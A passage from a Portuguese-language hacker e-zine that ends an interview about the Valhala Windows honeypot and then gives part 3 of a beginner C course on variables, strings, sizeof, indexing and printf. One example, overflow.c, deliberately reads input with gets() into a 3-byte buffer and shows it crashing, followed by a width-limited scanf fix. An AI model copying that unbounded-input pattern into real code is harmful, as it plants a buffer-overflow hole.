funçoes do valhala, mas deixa isso pra la, melhor naum comentar. Foi voce o pioneiro em 
desenvolvimento de honeys por aqui? Estou certo ou estou delirando? 

[Marcão]:

haha, eu já vi alguns desses honeys que o pessoal faz. Muitos fazem apenas o que o meu
anti-trojans fazia anos antes do Valhala. Abre uma porta, recebe uma conexão, desconecta
o indivíduo e mostra o IP na tela. Fico até honrado quando vejo que alguns extraíram o 
código-fonte do Valhala, sem nem mudar o nome das variáveis (risos). Eu realmente evolui o
Valhala desse ponto a muito tempo, implementando servidores como FTP, WEB, TFTP,
FINGER, etc... pretendo inclusive colocar um DNS (caso a falta de tempo me permita
terminar a versão 2.0). Olha, pioneiro em honeypots no Brasil eu creio que não sou, 
pois existem vários projetos mas a grande maioria é voltado para sistemas Unix/Linux. O 
Valhala, apesar de também opensource, tem alguns objetivos bem específicos: Ser fácil de
usar, com interface gráfica, para Windows, todo em português e com o tamanho bem 
pequeno. Acho que cumpri esses requisitos, afinal, mais fácil de usar impossível e para um 
programa com mais de 5 servidores, ele tem menos de 1 MB de download. Talvez nesses 
objetivos sim, eu tenha me saído um pouco mais pioneiro.

[Eu]:

Voce pode arrumar para os leitores da C.O.D.E o font do valhala? Tipo assim cara, eu uso 
muito IDSs como o snort e tal, se eu to afim de algo facil e descomplicado eu corro pro 
valhala porque enfim....o valhala é o valhala, mas infelizmente para mim os binarios nao é o
limite, por isso venho lhe pedir encaricidamente que disponibilize o fonte do mesmo para a 
galera analisar e quem sabe "acrescentar algo", "nao refazer o mesmo com um outra interface
e mudar os creditos". 

[Marcão]:

O fonte está na página do sourceforge do Valhala, disponível para todos:
www.sourceforge.net/projects/valhalahoneypot

[Eu]:

Para encerrar:

Quais os bugs mais recentes que voce descobriu? Tipo, aqueles bugs que agente naum revela
pra ninguem e tals, mas peso que abra uma exceçao para os leitores desta revista, conte-nos 
sobre eles, adoraria conhecer suas tecnicas ninja, tambem tenho as minhas mas num digo porque 
pode virar cu de bebo, mas enfim, entrega o ouro ae eheh.

[Marcão]:

Cara, infelizmente a minha época de ter tempo para brincar, fuçar e descobrir novos bugs 
já passou. Hoje eu trabalho o dia todo, estudo à noite e ainda dou aulas no final de semana,
sem falar de cuidar da família. Mas pode deixar que, se no curto tempo livro descobrir
alguma coisa interessante, lhe falo pra vc compartilhar no seu zine.

[Eu]:

Marcos, foi um prazer lhe entrevistar, e aproveitando a deixa gostaria de te pedir que 
escrevesse papers para a zine, mas se naum quiser tudo bem, nois aqui tenta levar assim 
mesmo eheh. Ja to com alguns papers que o pessoal under da antigas escreveram ae para 
a revista, mas gostaria de um paper seu aqui tambem, que tal? 

[Marcão]:

Não prometo nada por causa da falta de tempo que te falei, mas pode deixar que um dia 
o paper sai... haha

[Eu]:

Ops... E se eu te falasse que temos que começar outra vez porque eu fechei a janela do
MSN, voce faria novamente a entrevista?

[Marcão]:

Putz... tá brincando né? kkk
 
[Eu]:

Zuera vei Uhauhauh!!! Valeu cara, até mais ;-) 


----- C4p1Tul0 09

[+ ======X============X===============X===== +]
            CURSO DE LINGUAGEM C PARTE 3
[+ ======X============X===============X===== +]

Vamos a mais uma parte do nosso cursinho de C. Não tenho muito que falar na introdução
desta seção, só tenho que alertar sobre a importancia de aprender C, pois se voce souber C 
voce é feliz =) Recomendo muito para os leitores desta seção que não tenham experiencia com 
a linguagem, que olhem as zines anteriores. Sei que nas partes anteriores não tenho dado a
devida seriedade que este assunto merece e tenho sido um pouco imaturo, mas olhem 
a segunda edição para verem sobre leitura e declaração de variaveis do tipo inteiro (int).
Só pra relembrar as edições passadas gostaria de lhes mostrar como é um tipico code em C.

#include <biblioteca.h> /* Aqui inserimos a biblioteca que contem as funções que 
serão declaradas dentro do bloco de codigo.*/

int main ()  --> Declaramos a função principal, a que inicia o codigo.

{             < -------------+ ------- > Abre o bloco de codigos
                            
              < -------------+ ------- > Aqui entra as declarações e etc.
                                      
}             < ------------ + ------- > Fecha o bloco de codigos

Na segunda parte do curso voce aprendeu a declarar variaveis do tipo inteiro, ou seja, 
variaveis que armazenam valores numericos, mas vou dar uma relembrada aqui, nem 
esquenta. Já que esse curso se destina a quem nunca teve contato com programação 
nenhuma, creio que devo explicar o que seja uma variavel, pois me esqueci de falar
sobre isso nas edições passadas (eita curso bagunçado esse XP). Podemos dizer que
uma variavel nada mais é que uma palavra que voce inseri no programa que armazena 
algum valor (conteudo), exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   int variavelx=2;
   printf ("O valor da variavel 'variavelx' e %d", variavelx);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2

Nesse exemplo acima declarei (criei) uma variavel chamada variavelx e inserir um valor a 
essa variavel, o valor da variavel é 2, podemos inserir valores a variaveis utilizando esses
metodos:

int variavel;    ----> Declarei a variavel 'variavel' mas não inserir um valor para ela. 
variavel=2;    ---- > Agora sim inseri um valor.   

int variavel=2, --- > Aqui declarei e inseri um valor para variavel.

Como voces podem ver no primeiro exemplo, inicialmente apenas declarei a variavel 
'variavel' para logo abaixo definir um valor (conteudo) que ela armazenará, que no caso
é 2. Podemos inserir e 'modificar' um valor de uma variavel sempre que assim desejarmos.

Exemplo: 

-------- cut --------
#include <stdio.h>

int main ()
{
   int variavelx=2;         // --> Declarei que o valor da variavel seria 2 
   
   printf ("O valor da variavel 'variavelx' e %d\n", variavelx);
   
   variavelx=10;           // -- > Mudei o valor da variavel para 10 

   printf ("Agora o valor da variavel 'variavelx e %d", variavelx);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
O valor da variavel 'variavelx' e 2
Agora o valor da variavel 'variavelx e 10

Podemos declarar variaveis utilizando esses métodos:

int variavel;
ou 
int variavel;
int variavel2=2;
ou 
int variavel1, variavel2;   //Declaração de duas variaveis do tipo inteiro (mesma linha)
ou 
int variavel1=10, variavel2;
ou 
int variavel1=10, variavel2=20;

Caso voce queira declarar varias variaveis de um determinado tipo em uma mesma 
linha, utilize a virgula para cada novo nome de variavel, como voce viu acima 
(int variavel1, variavel2). Ja que voce sabe que para declararmos uma variavel do
tipo inteiro (que é uma variavel que armazena numeros) utilizamos o 'int', e 
utilizamos o '%d' para ler o conteudo (valor) 'desse tipo' de variavel, podemos 
agora passar para as variaveis do tipo 'char'. As variaveis do tipo char armazenam 
strings, ou em outras palavras, armazenam texto. Uma string nada mais é que uma 
sequencia de caracteres terminada por '\0'. Para declararmos uma variavel do tipo 
'char' fazemos a mesma coisa que fazemos quando queremos declarar uma variavel 
do tipo inteiro, ou seja, 

Tipo variavel=Valor;

A unica diferença com relação a uma declaração de variavel do tipo int para uma do 
tipo char é que para declararmos uma variavel do tipo 'char', temos que definir o 
tamanho de bytes que essa variavel pode armazenar, o local onde são armazenados
esses bytes é chamado de buffer. Exemplo:

char variavel[7];          < --- >          tipo variavel[buffer];

Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a 
1 byte, então a string "luzinha" conterá um total de 7 bytes sem contar com o 
terminador de string (\0). Sempre temos que reservar um byte no buffer para o 
terminador nulo (\0), ou seja, deve ficar assim:

char variavel[8] = "luzinha\0";

Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazenaria
8 bytes, ou seja, a variavel teria um buffer (local de armazenamento) que suporta 8 
caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar 
curioso para saber de um detalhe, vamos supor que voce está me perguntando isso:

Mas se eu inserir mais bytes que esse buffer suporta, o que acontecerá?

Caso voce insira mais dados que um buffer pode suportar aparentemente não 
acontece nada, pois o programa irá aceitar, mas ocorre o chamado buffer overflow, 
ou simplesmente, estou de buffer. Onde podemos dizer de certa forma que acontece
uma 'explosão', mas a explosão vai ser na pilha, mas esse essunto está longe de ser
o focu principal deste paper. Na proxima edição da C.O.D.E vai ter uns papers 
maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de 
desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois é necessario 
aprender desenvolver shellcodes para a 'exploração da falha' de estouro de pilha. 
Gente, não pensem que é facil desenvolver shellcodes, todo mundo que meche com 
isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o 
buffer overflow, simples: 

Não use funções perigosas, ponto ^^. 

Não quero assustar voces POR ENQUANTO, pois algumas funções eu ainda vou 
ensinar ^^, tipo assim galera, posso ensinar uma unica maneira de prevenção agora,
só pra voces não falarem que minha zine é de péssima qualidade (heheh) vejam esse 
code:

-------- overflow.c --------
#include <stdio.h>

main (void){
     char str[3];
     printf ("Estoure meu buffer [size buffer:3]:");
     gets (str);
     printf ("%s",str);}

---------- cut ----------     

Vamos ver onde acontece os sonhos ^^. 

Resultado:


C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:ab     < -- 2 caracteres + o terminador \0 = 3 (Normal =)
ab         
C:\Documents and Settings\David\Desktop>overflow 
Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda não deu pau
1234567891011
C:\Documents and Settings\David\Desktop>overflow
Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer
destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer

Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string':

O overflow.exe encontrou um problema e precisa ser fechado.

Mensagem legal ;-) 

Como evitar? Voces se lembram da função scanf que falei nas zines anteriores? Pois é amigo,
ela também é vulneravel hauhauh!!! Mas calma, calma, quem estuda C tem que conhecer o 
maximo de funções possiveis, mas o interesante é que ele não é totalmente vulneravel =)
Eba!!! Eba!!! hauha!!! Voces devem estar dizendo: Ufa!! Basta usar especificadores para
limitar o tamanho da string que vai ser passada para o buffer ;-) Exemplo:

---------- cut ----------  
#include <stdio.h>

main (void){
     char str[6]; //Armazena 5 caracteres + o '\0'
     printf ("Seu nome rapaizinho [buffer 6]:");
     scanf ("%5s", &str); //Pega "5" bytes (caracteres) e joga para str
     printf ("%s",str);}

---------- cut ----------  
 
Resultado:

Execução normal:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David    < -- Escrevi os cinco caracteres ;-)
David      < -- Leu os cinco caracteres deboa ;-)

Engraçadinho tentando estourar meu buffer:

C:\Documents and Settings\David\Desktop>overflow
Seu nome rapaizinho [buffer 6]:David gostosao   < -- Mais de cinco caracteres ;]
David  < -- Aham!!!!! Só imprimiu 5 caracteres, porque ele pegou só 5 ;)

Na proxima C.O.D.E vai algo mais completo ;) 

Continuando.....

Olha que interesante as variaveis do tipo 'char' se comparadas com as variaveis 
do tipo 'int'. 

int variavel=2;    
     
char variavel[7]="String"; 

Repare acima que eu sempre reservo um espaço para o '\0' que é colocado 
"automaticamente" no final de uma string, nem se preocupe (gets e tals =).

Repare que no C como em muitas linguagens de programação, para se referir a uma
string (Sequencias de texto) necessitamos utilizar as aspas para determinar que ali
se refere a uma string, as strings são conhecidas no C como vetores de caracteres,
que como eu ja havia falado: 'Sempre terminam com um caractere nulo'. Por isso 
devo alertar mais uma vez: "sempre reserve um espaço em seu buffer para esse 
terminador". 

A principal caracteristica de uma variavel do tipo char é justamente as aspas
nos seus valores =). Ja para valores de variaveis do tipo inteiro não precisamos 
inserir aspas, pois como todos sabemos, variaveis do tipo 'int' armazenam numeros, 
mas se voce quiZer que um determinado numero seja entendido como string basta 
coloca-lo entre aspas (e claro que declarando o char antes do nome da variavel =) 

char variavel[buffer] = "123456";

Para lermos valores do tipo 'char' ao invéz de utilizarmos o '%d', utilizamos o '%s'.
Vamos a um exemplo de declaração de variavel e declaração de valor e logo
depois uma demonstração de leitura deste valor.

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[8]= "luzinha";            
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel 'ax' e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>file1
A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luzinha

Se voce reparar bem poderá perceber que o operador sizeof (falarei logo mais) 
me retornou o numero correto de bytes existente naquele buffer (area de armaze
namento), mas quando a função printf me mostrou qual era o valor da variavel
'ax' ela não exibiu de forma alguma o terminador nulo que foi inserido no final
da string, ou seja, esse nome 'terminador' não significa 'terminador' por qualquer 
motivo, ele simplesmente existe para marcar o fim de uma sequencia de texto e 
não pode ser lido.

Vamos fazer uma pequena modificação no exemplo anterior

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[8]= "luz\0inha";     // <--- Reparem no que eu fiz 
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel ax e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

A variavel 'ax' possui 8 caracteres
O valor da variavel ax e: luz

Podemos fazer com que o compilador detecte e crie um buffer com uma 
determinada quantidade de bytes sem precisarmos especificar manualmente
quantos bytes nosso buffer vai ter, ou seja, o compilador mesmo analisa
e cria um buffer contando o valor da variavel, para fazer isso basta não 
especificar a quantidade de bytes que seu buffer vai ter =). Simples, pois 
assim ele vai fazer como eu falei: cria um buffer se baseando na quantidade
de caracteres do valor da variavel e ainda vai inserir no final da string o 
terminador nulo automaticamente =). Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[]= "luzinha";    // <-- Repare aqui que meu buffer '[]' está indefinido    
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   printf ("O valor da variavel 'ax' e: %s", ax);
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A variavel 'ax' possui 8 caracteres
O valor da variavel 'ax' e: luzinha

Repare que o operador 'sizeof' contou a quantidade de bytes no valor da
variavel 'ax' e me retornou quantos bytes existia nesse buffer, ou seja, 
8 bytes

luzinha -- > 7 bytes 
\0 --> 1 byte 

Acho que ja está na hora de falar sobre o operador sizeof. Bem, este operador
é utilizado para verificar o tamanho (em bytes) 'dos tipos' e 'variaveis' desses
tais tipos, vale lembrar que este operador pode ser lido como um inteiro, sua 
sintaxe é assim:

sizeof (variavel)
ou 
sizeof (tipo)

Exemplo:

-------- cut --------
#include <stdio.h>

int main ()
{
   char ax[]= "luzinha";   
   printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax));
   return 0;
}   
-------- cut --------

Vamos ver agora como saber o tamanho (em bytes) de um determinado 'tipo', isso 
varia muito, vamos supor que voce voce está operando uma maquina com hardware
de 32 bits (Que é o meu caso nesses exemplos):

-------- cut --------
#include <stdio.h>

int main ()
{
   printf ("Cada caractere de um valor do tipo \
char equivale a '%d' byte\n", sizeof(char));
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Cada caractere de uma valor do tipo char equivale a '1' byte

Repare que utilizei o sizeof seguido do 'tipo' (char) da variavel que eu 
quero saber o tamanho (sizeof (char)). Vamos fazer o mesmo 
procedimento só que agora eu quero saber qual o tamanho de um 'int'. 

-------- cut --------
#include <stdio.h>

int main ()
{
   printf ("Um 'int' equivale a '%d' bytes\n", sizeof(int));
   return 0;
}   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
Um 'int' equivale a '4' bytes

O resultado mostrou que um int equivale a 4 bytes. Só pra lembrar:

8 bits = 1 byte
4 bytes = 32 bits 

Essa é a melhor forma de indentificarmos a quantos bits nosso hardware opera,
em uma maquina de 16 bits muito provavelmente um 'int' equivale a
16 bits, já em maquinas de 32 bits o 'int' será 32 bits, ou seja, 4 bytes. 
Simples =) Como ja havia falado anteriormente não vou me aprofundar nisso, 
pois torno a repetir que esse não é o foco principal deste paper.

[===XX=XX===]
 Indice no C
[===XX=XX===]

Esse é um assunto de extrema importancia, gostaria que voces prestassem bem 
atenção. Em uma string (sequencia de texto), cada caractere recebe como eu 
posso dizer... uma identificação, isso, identificação. Cada caractere contido em 
uma string recebe numeros que as identificam dentro desta string. O primeiro 
caractere contido em uma string sempre vai ser 0 ao invéz de 1 como poderiamos 
até chutar para ser o primeiro, analise esse exemplo abaixo:

< ----------- >
  luzinha\0
  01234567
< ----------- >

O interesante é que podemos ler determinados caracteres dentro de uma
string utilizando seu numero de indice (seu identificador =). 

Vamos a alguns exemplos :]

-------- cut --------
#include <stdio.h>

int main (){
    char ind[8]="luzinha";
    printf ("A primeira letra da string 'luzinha' e '%c'", ind[0]);  // <-- Repare aqui =]
    return (0);}

-------- cut --------

Acima voce pode ver que para ler UM CARACTERE contido na string 
utilizamos o '%c' e logo em seguida especificamos a variavel seguida do
tal identificador deste caractere 'dentro do buffer'. Vou escrever novamente
meu primeiro exemplo para um melhor entendimento:

  luzinha\0
  01234567

Acima voce pode ver que o primeiro caractere da string 'luzinha' é 'l', e 
como eu ja havia falado anteriormente já que esse caractere é o primeiro 
caractere contido na string então seu identificador dentro do buffer vai 
ser o 0. Com esse metodo de leitura podemos visualizar determinados 
valores apenas utilizando seu numero de indice, assim podemos entender
que apenas a letra 'l' vai ser impresa na tela, vamos ver.

Resultado:

C:\Documents and Settings\David\Desktop>sinc
A primeira letra da string 'luzinha' e 'l'

Bingo! Para visualizar o primeiro e o segundo caractere da string "luzinha" 
utilizamos dois sinais de '%c' e logo em seguinda utilizamos a variavel e o 
numero de indice do buffer que estes caracteres estão.

Exemplo:

-------- cut --------
#include <stdio.h>

int main (){
    char ind[8]="luzinha";
    printf ("As duas primeiras letras da string 'luzinha' \
sao: '%c' e '%c'", ind[0], ind[1]);   
    return (0);}

-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
As duas primeiras letras da string 'luzinha' sao: 'l' e 'u'

Não pretendo dar focu sobre isso "agora", vamos nos aprofundar nesse tema nas
proximas edições quando falaremos sobre matrizes... se bem que isso:

  char ind[8]="luzinha";

Pode ser considerado uma matriz, mas é uma matriz de caracteres ;) ou seja, para
ler um CARACTERE dentro desta MATRIZ vamos utilizar o %c, vou mostrar para
voces uma matriz de numeros, ou seja -> Matrix do tipo inteiro ( =):

main (){
     int num[2]={123, 456};
     printf ("%d + %d = %d\n", num[0], num[1], (num[0] + num[1]));
     system ("pause");}

Espero que voce seja esperto, pois agora nao e hora de falar de matrizes e sim 
do tal do indice, mas como sempre eu gosto de deixar voces com uma boa base 
de tudo que eu escrevo, para voces irem pegando as coisas nas proximas edições
com mais facilidade :)

[==X=========XX=XX===========X=]
  O TIPO VOID 
[==X=========XX=XX===========X=]

Eu tinha falado vagamente sobre o tipo 'void' na edição passada, disse que 'void'
era um tipo sem tipo, que só estava ali para dizer que determinadas coisas são vazias. 
Agora vamos falar um pouco dele, ei ei ei: Para quem não sabe 'void' significa 'vazio'
em portugues (só pra constar =). O void possibilita que a criação de funções que não
retornam nada e também possibilida a criação de funções sem parametro. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){  // < -- Função 'main' não retorna nada e também não tem argumentos
    printf ("Sinck");} 

-------- cut --------

Nossos compiladores são programados para lhe alertar sobre a existencia de
um 'void' ao invez de int antes da função 'main' (caso voce declare o void antes
do main... dã!!), o meu compilador me retornou a seguinte mensagem:

3 C:\Documents and Settings\David\Desktop\void.c [Warning] return type of 'main' is not `int' 

Tradução:

3 C:\...\void.c [Avisando] o tipo de retorno de 'main' não é 'int' 

Isso acontece porque o compilador pensa que a função main tem sempre que retornar um 
inteiro, caso quiZermos que nosso sistema receba o valor de retorno de main, basta 
declarar a mesma como um inteiro (int main) e especificar dentro do bloco de codigo
o valor de retorno, exemplo:

'return (numero de retorno)'

Se não especificarmos o tipo de retorno de uma função o compilador vai supor que este
tipo é inteiro. Caso main retorne 0 (inteiro) significa que nosso programa teve uma 
execução normal, caso o main retorne um numero diferente de zero significa o oposto. 
Caso voce não queira passar o valor de retorno da função main para o sistema, basta 
utilizar o 'void', assim voce não precisará especificar o 'return 0' para representar um:
'tudo certo'. Recapitulando:

e o 'return (-1)' para representar anomalia :] 

Vale lembrar que é sempre bom voce especificar o valor de retorno, seus codes ficam 
mais hackoes e mais profissionais rsrs, tinha que colocar uma palhaçada (aff).

Um detalhe interesante:

-------- cut --------
#include <stdio.h>

main (void){ // < -- Da uma olhadinha ai gente boa
    printf ("Me chupa");}
   
-------- cut --------

Isso ai em cima também rola cara, porque como eu ja falei anteriormente, por padrão 
o C retorna um inteiro, ou seja, nem precisamos especificar o 'int' =) 

-------- cut --------
#include <stdio.h>

int main (void){ // < -- Coloca o int se quiZer =) 
    printf ("Me chupa");
    return 0;} //Coloca o 'return 0' se quiZer =]

-------- cut --------

[========XX=XX========]
      O TIPO FLOAT
[========XX=XX========]

Nos ja vimos tres tipos que são:

int -- > Determina que uma variavel vai receber valores inteiros (numeros =).
char -- > Determina que uma variavel vai receber strings (texto).
void -- > Tipo que possibilita a criação de funções que não retornam nada 
e também possibilida a criação de funções sem parametro.

Mas está fautando mais um aí, que é o:

float -- > Determina que uma variavel que foi declarada com esse tipo vai armazenar
numeros que possuem casas decimais, como: '10.55'. Exemplo:

-------- cut --------
#include <stdio.h>

void main (void){ 
     float variavelx=10.55;
     printf ("O valor da variavel 'variavelx' e: %f", variavelx);}
   
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>sinc
O valor da variavel 'variavelx' e: 10.550000

Para lermos valores do tipo float (ponto flutuante) utilizamos o '%f' (olha 
só que original =). Gente, o 'C' não tem misterio nenhum. Amigos bgners, 
espero que voces tenham entendido bem esse esquema básico de tipos, 
não vou falar do tipo double porque o foco aqui é sobre os tipos básicos, 
se bem que o double ainda está na lista de tipos basicos do C, mas vo parar
por aqui, na proxima edição da C.O.D.E eu prometo =) 

 
[==[]======XXx=xXX======[]==]
Diferentes formas de leitura
[==[]======XXx=xXX======[]==]

Nos ja aprendemos como funciona o processo de leitura basico de valores
de alguns tipos, que são:

%d  -- > Inteiro 
%c  -- > Um unico caractere
%f  -- > Float 
%s  -- > string

Agora vamos ver como é interesante e IMPORTANTE aprender bem esse
negocio de tipos em C ;-) Olhem que legal:

-------- cut --------
#include <stdio.h>

main (void){
      printf ("Eu amo a %c%c%c%c%c%c%c", 'L', 'u', 'z', 'i', 'n', 'h', 'a');
      printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");
      printf ("\n\nNinguem pode com meu grupo - Viper Corp %d%d%d", 6, 6, 6);
      printf ("\n\nSo pra constar um float ai: %f\n", 10.88);}


-------- cut --------

Resultado: 

========================================
C:\Documents and Settings\David\Desktop>satan_emperial
Eu amo a Luzinha

Estou um passo a frente de voces Trouxas!!!!

Ninguem pode com meu grupo - Viper Corp 666

So pra constar um float ai: 10.880000
========================================

Explicações:

O que determina 'um caractere' é o apostrofo (' ') seguido do caractere, 
exemplo: --> 'A'. Então se eu quiZer ler uma determinada letra eu faço isso:

printf ("Me chamo %c %c %c %c %c", 'D', 'a', 'v', 'i', 'd'); 

Lembram que o %c é usado para imprimir apenas uma letra? Então...

Resultado: 

C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo D a v i d   < -- O espaço entre as letras que da o charme rsrs

printf ("Me chamo %c%c%c%c%c", 'D', 'a', 'v', 'i', 'd'); 
C:\Documents and Settings\David\Desktop>satan_emperial
Me chamo David  < -- Juntinho baby =) Proximo!

O que é que caracteriza um valor inteiro mesmo? Hum... Lembram? Numeros!!! 

Exemplo:

printf ("\n\nNinguem pode com meu grupo - Viper Corp %d %d %d", 6, 6, 6);

Repara que para cada '%d' que eu insiro dentro das aspas, também coloco 
um valor equivalente a este tipo depois das aspas, assim o printf faz a 
leitura deboa ;] Proximo!

O que caracteriza um valor do tipo char (string) mesmo? As "" - aspas :]

Então:

printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!");

E assim vai....

[===========XX=XX===========]
Constantes de barra invertida
[===========XX=XX===========]

As vezes exibir apenas letras na tela não é o limite hauhauh!!! Zuera, 
to zuando, calma. Acho que to relaxando d+ hauahu!! Queria ficar 
serio o curso todo, mas não da -.- uhauhauha!!! 

Como todos sabemos a função printf exibe mensagens na tela, ela 
funciona como o comando echo no DOS, ou seja, 

echo mensagem
printf ("mensagem");

Mas prestem atenção nas aspas ai em cima, hum.... sacou? caso 
voce queira usar aspas para destacar uma mensagem "dentro de 
uma string" (sequencia de texto) usando um metodo aparentemente
obvio, ia da erro, exemplo:

Não da:

printf ("Eu quero destacar "essa palavra" ");

Para isso foram criadas as constantes de barra invertida ;]

Abaixo estão "algumas" delas:

xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==
\"   -- > Coloca aspas dentro da string 
\'   -- > Coloca apóstrofo  dentro da string
\a   -- > Da um beep (da uma piada) -> isso é legal rsrs 
\n   -- > New line (nova linha) - > Pula uma linha 
\0   -- > Terminador nulo  
\\   -- > Inseri uma unica contra barra ('\') dentro da string
xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx==

Vamos aos exemplos

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Eu quero destacar \"essa palavra\"");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu quero destacar "essa palavra"

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Eu\nAmo\nA\nLuzinha invaders ;]");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck_Destroyer
Eu
Amo
A
Luzinha invaders ;]

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]

-------- cut --------
#include <stdio.h>

main (void){
printf ("Pi!\a Pi!!\a Pi!!!\a Huahuahuah");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Sinck.exe
Pi! Pi!! Pi!!! Huahuahuah

[=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=]
          Piadinha sem graça -.- 
            Huahuahuahuah!!!

-------- cut --------
#include <stdio.h>

main (void){
printf ("\n\nEu queria ter nascido em 20\\07\\1950 \
para ter 16 anos em 20\\07\\1965,\no auge da rebeldia.\n\n");
}

-------- cut --------

Resultado hauhau!!!:

C:\Documents and Settings\David>desktop\Untitled1


Eu queria ter nascido em 20\07\1950 para ter 16 anos em 20\07\1965,
o auge da rebeldia.


Foi mal, mal, tava sem imaginação rsrsrs, pra quem não entendeu a piada
eu quiz mostrar a data, exemplo: 06/03/2008. Entendeu? rsrs Muito legal.

E por ai vai.....

Ei ei ei, para imprimir um sinal de percento na tela com o printf, use dois
sinais de percento para representar 'um', exemplo:

-------- cut --------
#include <stdio.h>

main (void){
  printf ("Estou vendendo meu adaptador \
wireless 802.11b/g com 50%% de desconto avista");
}
-------- cut --------

Resultado:

C:\Documents and Settings\David\Desktop>Bru
Estou vendendo meu adaptador wireless 802.11b/g com 50% de desconto avista

[===xXx=====XX=XX======xXx===]
  Um pouco mais de variaveis
[===xXx=====XX=XX======xXx===]

Abaixo vai um pouco sobre declarações de variaveis para voces irem se ligando 
na proxima edição da C.O.D.E =) Nem vou comentar muito porque o font do 
code ja ta bem comentado eheh, na proxima edição eu vou explicar melhor, mas
por hora isso ja pode ajudar voces amigos ;) 

                       --- variavel.c --- 
#include <stdio.h>
#include <stdlib.h>

int global; // <-- Variavel global, todas as funções a enchergam

int func (int variavel_de_lista_de_parametros){ /*Também podemos declarar
variaveis na lista de parametros de uma função, apesar deste tipo de variavel
receber valores externos, ela é utilizada apenas no bloco de codigo da função 
em que foi declarada (na lista de parametros =).*/
   
    printf ("O valor da variavel global e -> %d\n", global);
    printf ("Eu disse: %d =)\n", global);
    printf ("O valor da variavel_de_lista_de_parametros \
eh ->%d<-\n",  variavel_de_lista_de_parametros); }
     
int main (void){
    system ("cls");
    int var_local=0; /* <-- Variavel local, só é utilizada E VISTA 
    no bloco de codigo da função em que foi declarada */
    
    puts ("Contagem:\n");
    for (var_local;var_local<10;var_local += 1){
        
        int variavel_de_bloco=var_local; /* <-- Variavel de bloco ->'for'<-, só é vista 
        e UTILIZADA dentro do bloco de codigo 'for' em que foi declarada */
 
    printf ("numero [%d]\n", variavel_de_bloco);}
         
    printf ("\nDigite um numero:");
    scanf ("%d", &global);
    func (10);
 
    /*
    printf ("%d", variavel_de_bloco); 
    Se voce tentar chamar uma variavel de bloco 'for' aqui, verá uma msg 
    como essa: C:\variavel.c `variavel_de_bloco' undeclared 
    (first use in this function) 
    */
    
    printf ("E o valor da variavel local de main (var_local) eh %d\n", var_local); 
    system ("pause");
    return (0);
}

                           --- cut --- 

[========XX=XX========]
Encerramento da parte 3
[========XX=XX========]

Nos proximos episodios de sua emocionante serie: O cuso de C. Iremos ver neste mesmo 
horario neste mesmo canal os seguintes temas:

< -- O TIPO DOUBLE - O retorno dos androides -.0 -- >
< -- Só conto na proxima edição 0.= -- >
< -- Só conto na proxima edição =.= -- > 

Voces devem ter percebido a existencia de uma 'contra barra' (\) em alguns exemplos, e
muitos que estão lendo a terceira parte do curso de C devem estar curiosos para saber
do que essa tal barra se trata, simples:

printf ("A contra barra serve para evitar a escrita de um texto muito grande em uma unica linha");

Entenderam? Ou seja, para evitar isso utilize a contra barra. Exemplo:

-------- cut --------
#include <stdio.h>

int main (void){
    char mylove[8]="Luzinha";
    printf ("\n\nSou feliz, feliz porque estou apaixonado, feliz porque amo e \
sou correspondido, me sinto bem ao lado dela, me sinto bem porque \
sempre que estou ao lado dela sorrio como um menino e sou mimado \
como um bebe. Sou um homem feliz porque sei que o coracao dela e' meu \
e ela sabe que meu coracao e' e sempre sera dela. Te amo %s.\n\n", mylove);
    return (0);}

-------- cut --------

